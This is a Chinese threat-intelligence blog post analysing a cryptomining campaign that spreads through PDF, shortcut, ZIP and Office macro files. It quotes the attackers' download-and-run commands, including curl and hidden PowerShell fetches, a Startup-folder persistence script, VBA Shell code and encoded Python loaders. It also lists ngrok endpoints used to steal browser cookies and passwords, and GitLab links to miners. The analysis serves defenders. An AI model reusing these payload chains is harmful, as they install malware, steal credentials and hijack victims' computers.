0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

文章首发地址:
https://xz.aliyun.com/t/14524
文章首发作者:
T0daySeeker

概述

近期,笔者在浏览网络中威胁情报信息的时候,发现了一篇由以色列Check Point公司于2024年5月14日发布的一篇《FOXIT PDF “FLAWED DESIGN” EXPLOITATION》报告,报告大致描述内容为:由于Foxit PDF Reader软件的缺陷设计,导致使用者容易遭受木马攻击,报告对PDF样本进行了简单的描述,同时还披露了相关Hash信息。于是,笔者就基于报告中提到的PDF样本进行分析,通过关联对比,无意间发现了一个通过多种载荷传播挖矿程序的域名。

「此外,报告还批量了部分APT-C-35/DoNot的相关样本Hash,不过笔者尝试对报告进行了详细的研读,最后也不清楚具体是怎么关联确定其为APT-C-35/DoNot背景的。。。」

为了能够进一步的梳理此挖矿程序的传播方式及攻击链,笔者尝试基于网络中的威胁情报平台提取下载了大量的样本载荷,并对其进行了梳理分析,最终成功梳理其攻击利用过程,详细梳理过程如下:

  • 多种传播方式:提取多种不同类型的样本,并对其进行对比分析;
  • 攻击链梳理:梳理总结不同URL下的载荷内容特征及功能;
  • py脚本分析:基于逆向分析,梳理py脚本的功能;
  • 挖矿程序分析:梳理提取挖矿程序的矿池信息;

笔者抽样提取了数十个不同类型的样本文件,发现其外联地址均相同,此外,笔者还发现VT平台上的关联样本有「近一半样本0报毒」,相关截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

多种传播方式

通过分析,笔者尝试提取了多种不同类型的样本,梳理发现:

  • 不同类型的样本的最终外联地址均为以https://xxxxxx.click/bat/开头的URL;
  • 不同样本对应的外联地址不同;
  • https://xxxxxx.click/bat/开头的不同URL外联地址的网页内容大体运行逻辑相同;

因此,笔者推测,此系列样本主要为了攻击者通过不同方式传播木马所生成的。

pdf文件传播

通过分析,下载并分析关联pdf样本(MD5:DD3587FFFAAE10EB339EA0EC1B2FC1DA),发现此pdf样本运行后,将触发漏洞并从https://xxxxxx.click/bat/bostar4地址外联下载bat文件。相关截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

载荷内容如下:

curl  https://xxxxxx.click/bat/bostar4 -o "C:UsersPublicmems.bat" 

外联下载地址内容截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

尝试对网页内容进行分析,发现此bat脚本运行后将访问facebook(具体意图不知),然后将外联下载并创建自启动项,最后将外联下载py脚本并运行。网页内容如下:

cmd /c start https://www.facebook.com/help/contact/1304188393453553?ref=payout_hub
C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://xxxxxx.click/config/stu -OutFile "C:\Users\$([Environment]::UserName)\AppData\Roaming\Microsoft\Windows\'Start Menu'\Programs\Startup\WindowsUpdate.bat";
cmd /c mkdir "C:\Users\Public\python39";
cmd /c curl https://xxxxxx.click/app/python39.zip -o "C:\Users\Public\python39\python39.zip"
cmd /c tar -xf C:\Users\Public\python39\python39.zip -C "C:\Users\Public\python39"
cmd /c curl https://xxxxxx.click/py/bostar4 -o "C:\Users\Public\python39\documents.py"
cmd /c C:\Users\Public\python39\python.exe "C:\Users\Public\python39\documents.py"

lnk文件传播

通过分析,下载并分析关联lnk样本(MD5:75F78C018AC77A493CD88A049AE59F8A),发现此lnk文件样本运行后,将从https://xxxxxx.click/bat/ld地址外联下载并运行bat文件。相关截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

快捷方式内容如下:

C:WindowsSystem32WindowsPowerShellv1.0powershell.exe Invoke-WebRequest -URI https://xxxxxx.click/bat/ld -OutFile C:/Users/Public/img.bat;powershell C:/Users/Public/img.bat

外联下载地址内容截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

尝试对网页内容进行分析,发现此bat脚本除不会外联访问Facebook外,其余功能逻辑均相同。网页内容如下:

C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://xxxxxx.click/config/stu -OutFile "C:\Users\$([Environment]::UserName)\AppData\Roaming\Microsoft\Windows\'Start Menu'\Programs\Startup\WindowsUpdate.bat";
cmd /c mkdir "C:\Users\Public\python39";
cmd /c curl https://xxxxxx.click/app/python39.zip -o "C:\Users\Public\python39\python39.zip"
C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -windowstyle hidden Expand-Archive C:\Users\Public\python39\python39.zip -DestinationPath C:\Users\Public\python39
cmd /c curl https://xxxxxx.click/py/ld -o "C:\Users\Public\python39\documents.py"
cmd /c C:\Users\Public\python39\python.exe "C:\Users\Public\python39\documents.py"

zip文件传播

通过分析,梳理关联zip样本(MD5:A2F368FFADE32738CE0AC52AB51BD3FF),发现xxxxxx.click域名的关联zip样本名均是精心构造过的,推测其此行为主要为了用于网络钓鱼,相关截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

尝试挑选其中一个zip文件作为案例,并对其进行分析。发现zip文件解压后为bat文件,运行此bat文件后,样本将从https://xxxxxx.click/bat/anhoang地址外联下载并运行bat文件。相关截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

有效载荷内容如下:

curl  https://xxxxxx.click/bat/anhoang -o "C:\Users\Public\memser.bat"

外联下载地址内容截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

尝试对网页内容进行分析,发现此bat脚本使用的zip解压方式与上述脚本不同。网页内容如下:

C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://xxxxxx.click/config/stu -OutFile "C:\Users\$([Environment]::UserName)\AppData\Roaming\Microsoft\Windows\'Start Menu'\Programs\Startup\WindowsUpdate.bat";
cmd /c mkdir "C:\Users\Public\python39";
cmd /c curl https://xxxxxx.click/app/python39.zip --ssl-no-revoke -o "C:\Users\Public\python39\python39.zip"
cmd /c tar -xf C:\Users\Public\python39\python39.zip -C "C:\Users\Public\python39"
cmd /c curl https://xxxxxx.click/py/anhoang --ssl-no-revoke -o "C:\Users\Public\python39\documents.py"
cmd /c C:\Users\Public\python39\python.exe "C:\Users\Public\python39\documents.py"

xlsm文件传播

通过分析,下载并分析关联xlsm样本(MD5:B1CC116028567ED95BAF1A8E10FEC520),发现此xlsm文件样本运行后,将从宏代码中外联下载并运行bat文件,外联地址为:https://xxxxxx.click/bat/ld。相关截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

有效载荷内容如下:

C:WindowsSystem32cmd.exe curl https://xxxxxx.click/bat/lapbun -o C:UsersPublicmem.bat & C:UsersPublicmem.bat

外联下载地址内容截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

尝试对网页内容进行分析,发现此bat脚本与lnk文件中的脚本逻辑相同。网页内容如下:

C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://xxxxxx.click/config/stu -OutFile "C:\Users\$([Environment]::UserName)\AppData\Roaming\Microsoft\Windows\'Start Menu'\Programs\Startup\WindowsUpdate.bat";
cmd /c mkdir "C:\Users\Public\python39";
cmd /c curl https://xxxxxx.click/app/python39.zip -o "C:\Users\Public\python39\python39.zip"
C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -windowstyle hidden Expand-Archive C:\Users\Public\python39\python39.zip -DestinationPath C:\Users\Public\python39
cmd /c curl https://xxxxxx.click/py/lapbun -o "C:\Users\Public\python39\documents.py"
cmd /c C:\Users\Public\python39\python.exe "C:\Users\Public\python39\documents.py"

docm文件传播

通过分析,下载并分析关联docm样本(MD5:49A4395FBDF77B5D275E992FBF457A89),发现此docm文件样本运行后,将从宏代码中外联下载并运行bat文件,外联地址为:https://xxxxxx.click/bat/lapbun。相关截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

有效载荷内容如下:

CMDPath = "C:WindowsSystem32cmd.exe"
CMDCommand = "curl https://xxxxxx.click/bat/lapbun -o C:UsersPublicmems.bat & C:UsersPublicmems.bat"
Shell CMDPath & " /c " & CMDCommand, vbNormalFocus

此样本的外联下载地址与xlsm文件的外联下载地址相同,因此其外联下载的载荷内容也相同。

攻击链梳理

/bat/xxx

通过分析,发现不同类型样本的外联地址均是以https://xxxxxx.click/bat/开头的URL,进一步对其进行分析,扩线发现更多的以https://xxxxxx.click/bat/开头的URL,相关URL情况如下:

https://xxxxxx.click/bat/bostar1
https://xxxxxx.click/bat/bostar2
https://xxxxxx.click/bat/bostar3
https://xxxxxx.click/bat/bostar5
https://xxxxxx.click/bat/bostar6
https://xxxxxx.click/bat/bostar7
https://xxxxxx.click/bat/bostar8
https://xxxxxx.click/bat/bostar9

通过分析,发现以https://xxxxxx.click/bat/开头的URL的载荷功能均相同:

  • 外联https://xxxxxx.click/config/stu地址,将载荷内容保存至启动目录下的WindowsUpdate.bat文件中;
  • 外联https://xxxxxx.click/app/python39.zip地址,将载荷内容保存至C:UsersPublicpython39python39.zip文件中;
  • 解压C:UsersPublicpython39python39.zip文件内容至C:UsersPublicpython39目录;
  • 外联以https://xxxxxx.click/py/开头的URL(URL中的文件名与以https://xxxxxx.click/bat/开头的URL中的文件名相同),将载荷内容保存至C:UsersPublicpython39documents.py文件中;
  • 调用C:UsersPublicpython39python.exe程序加载C:UsersPublicpython39documents.py脚本;

https://xxxxxx.click/config/stu网页内容(「用于自启动」)截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

载荷内容如下:

cmd /c C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -windowstyle hidden C:\Users\Public\python39\python C:\Users\Public\python39\documents.py;

/py/xxx

通过分析,扩线发现更多的以https://xxxxxx.click/py/开头的URL,相关URL情况如下:

https://xxxxxx.click/py/bostar1
https://xxxxxx.click/py/bostar2
https://xxxxxx.click/py/bostar3
https://xxxxxx.click/py/bostar4
https://xxxxxx.click/py/bostar5
https://xxxxxx.click/py/bostar6
https://xxxxxx.click/py/bostar7
https://xxxxxx.click/py/bostar8
https://xxxxxx.click/py/bostar9

尝试对其网页内容进行分析,发现此网页主要用于获取以https://xxxxxx.click/pyen/开头的URL载荷内容,相关截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

相关base64编码及解码后字符串内容如下:

dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjQnKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar4').text

dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjEnKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar1').text

dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjInKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar2').text

dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjMnKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar3').text

dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjUnKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar5').text

dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjYnKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar6').text

dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjcnKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar7').text

dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjgnKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar8').text

dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjknKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar9').text

/pyen/xxx

尝试对以https://xxxxxx.click/pyen/开头的URL载荷内容进行分析,发现此载荷内容为base64编码,解码后发现其主要用于窃取浏览器信息及外联下载挖矿程序,相关网页截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

py脚本分析

混淆处理

通过分析,发现此脚本被混淆处理,脚本中携带了大量的长字符串命令的变量名及函数名,相关代码截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

窃取主机信息

尝试对代码进行去混淆处理,发现此脚本运行后,将窃取主机信息:当前登录用户及IP地址信息。相关代码截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

窃取浏览器cookies及登录密码

通过分析,发现此脚本运行后,将窃取浏览器cookies及登录密码,相关代码截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

判断归属地信息

通过分析,发现此脚本运行后,将根据当前主机归属地信息判断是否发起外联请求,相关代码截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

相关国家地区代码对比信息如下:

'ZM':赞比亚(Zambia)
'YE':也门(Yemen)
'TV':图瓦卢(Tuvalu)
'TG':多哥(Togo)
'TO':汤加(Tonga)
'SA':沙特阿拉伯(Saudi Arabia)
'MW':马拉维(Malawi)
'KE':肯尼亚(Kenya)
'V':瓦努阿图(Vanuatu)
'GA':加蓬(Gabon)
'ET':埃塞俄比亚(Ethiopia)
'DM':多米尼克(Dominica)
'BE':比利时(Belgium)

「备注:暂不清楚判断上述国家地区的原因」

外联发送数据

通过分析,发现此脚本运行后,将以https://xxxxxx.click/host/开头的URL处获取外联地址,相关代码截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

外联地址载荷内容如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

梳理外联URL如下:

/up/cookie-password
/up/cookie-password-all

扩线提取以https://xxxxxx.click/host/开头的URL的载荷内容如下:「(备注:相关URL使用的是ngrok代理)」

https://1793-103-68-109-198.ngrok-free.app
https://5edf-103-68-109-200.ngrok-free.app
https://6414-103-68-109-201.ngrok-free.app
https://7e9a-103-68-109-202.ngrok-free.app
https://d0c2-103-68-109-203.ngrok-free.app
https://eb6b-103-68-109-204.ngrok-free.app
https://c456-103-68-109-207.ngrok-free.app
https://7b7c-103-68-109-208.ngrok-free.app
https://be23-103-68-109-210.ngrok-free.app

外联下载挖矿程序

通过分析,发现此脚本将从https://xxxxxx.click/miner/chttps://xxxxxx.click/miner/g地址处外联获取挖矿程序的下载链接,相关代码截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

相关外联网页内容截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

相关载荷内容如下:

https://gitlab.com/topworld20241/none/-/raw/main/xmrig.zip?inline=false
https://gitlab.com/topworld20241/none/-/raw/main/lolMiner.zip?inline=false

挖矿程序分析

通过分析,发现最终挖矿程序均存放于gitlab中,相关截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

进一步分析,发现gitlab上存在大量操作记录,说明攻击者在不断的优化修改其挖矿程序**(备注:基于操作记录可下载历史文件)**,相关截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

lolminer

通过分析,发现可从lolMiner.zip压缩包中的config.vbs脚本中提取矿池信息,相关截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

xminer

通过分析,发现可从xmrig.zip压缩包中的config.vbs脚本中提取矿池信息,相关截图如下:

0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析


原文始发于微信公众号(T0daySeeker):0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析

版权声明:admin 发表于 2024年5月30日 上午9:27。
转载请注明:0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析 | CTF导航

相关文章